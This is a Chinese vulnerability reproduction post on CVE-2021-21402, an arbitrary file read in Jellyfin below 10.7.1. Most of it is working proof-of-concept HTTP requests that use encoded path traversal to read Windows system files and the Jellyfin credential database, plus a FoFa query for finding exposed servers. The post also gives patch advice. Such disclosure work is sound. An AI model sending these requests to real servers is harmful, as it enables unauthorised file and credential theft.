zoukankan      html  css  js  c++  java
  • CVE-2021-21402 Jellyfin任意文件读取

    CVE-2021-21402 Jellyfin任意文件读取

    漏洞简介

    jellyfin 是一个自由的软件媒体系统,用于控制和管理媒体和流媒体。它是 emby 和 plex 的替代品,它通过多个应用程序从专用服务器向终端用户设备提供媒体。Jellyfin 属于 Emby 3.5.2 的下一代,并移植 .NET 核心框架,以支持完全的跨平台支持。

    Jellyfin10.7.1版本中,攻击者恶意构造请求将允许从Jellyfin服务器的文件系统中读取任意文件。当Windows用作主机OS时,此问题更加普遍。暴露于公共Internet的服务器可能会受到威胁。在版本10.7.1中已修复此问题。解决方法是,用户可以通过在文件系统上实施严格的安全权限来限制某些访问。

    影响版本:

    Jellyfin<10.7.1

    漏洞复现

    注:互联网资产非授权请勿测试

    FoFa搜索:"Jellyfin"

    POC:

    GET /Audio/anything/hls/..datajellyfin.db/stream.mp3/ HTTP/1.1
    
    GET /Videos/anything/hls/m/..datajellyfin.db HTTP/1.1
    
    GET /Videos/anything/hls/..datajellyfin.db/stream.m3u8/?api_key=4c5750626da14b0a804977b09bf3d8f7 HTTP/1.1
    
    要下载的PoC c:	empfilename.jpg: 
    GET /Images/Ratings/c:%5ctemp/filename HTTP/1.1 
    GET /Images/Ratings/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5ctemp/filename HTTP/1.1
    
    POST /Videos/d7634eb0064cce760f3f0bf8282c16cd/Subtitles HTTP/1.1
    ...
    X-Emby-Authorization: MediaBrowser DeviceId="...", Version="10.7.0", Token="..."
    ...
    
    {"language":".\..\","format":".\..\test.bin","isForced":false,"data":"base64 encoded data"}
    

    读取文件:

    可以读取未经身份验证的任意文件
    /Audio/{Id}/hls/{segmentId}/stream.mp3
    /Audio/{Id}/hls/{segmentId}/stream.aac
    

    不管是.mp3还是.aac都是可以未经授权读取windows的文件的。通过在URL路径中使用斜杠,返回一个空扩展名,从而获得对结果文件路径的完全控制。

    GET /Audio/anything/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.aac/ HTTP/1.1
    GET /Audio/anything/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/ HTTP/1.1
    

    读取host文件
    GET /Audio/anything/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5CSystem32%5Cdrivers%5Cetc%5Chosts/stream.mp3
    

    读取带有密码的数据库文件:
    GET /Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/ HTTP/1.1
    

    修复建议:

    • 更新至10.7.1版本。
    • 在Web应用防火墙上添加防护规则。

    参考链接:

    https://github.com/jellyfin/jellyfin/releases/tag/v10.7.1

    https://securitylab.github.com/advisories/GHSL-2021-050-jellyfin/

    https://github.com/jellyfin/jellyfin/security/advisories/GHSA-wg4c-c9g9-rxhx

    https://github.com/jellyfin/jellyfin/commit/0183ef8e89195f420c48d2600bc0b72f6d3a7fd7

  • 相关阅读:
    浅析MySQL二进制日志
    MySQL升级
    浅析MySQL复制
    MySQL关于exists的一个bug
    TokuDB存储引擎
    MySQL中RESET SLAVE和RESET MASTER的区别
    MySQL半同步复制
    MySQL线程池
    分析MariaDB初始化脚本mysql_install_db
    Python装饰器
  • 原文地址:https://www.cnblogs.com/micr067/p/14639162.html
Copyright © 2011-2022 走看看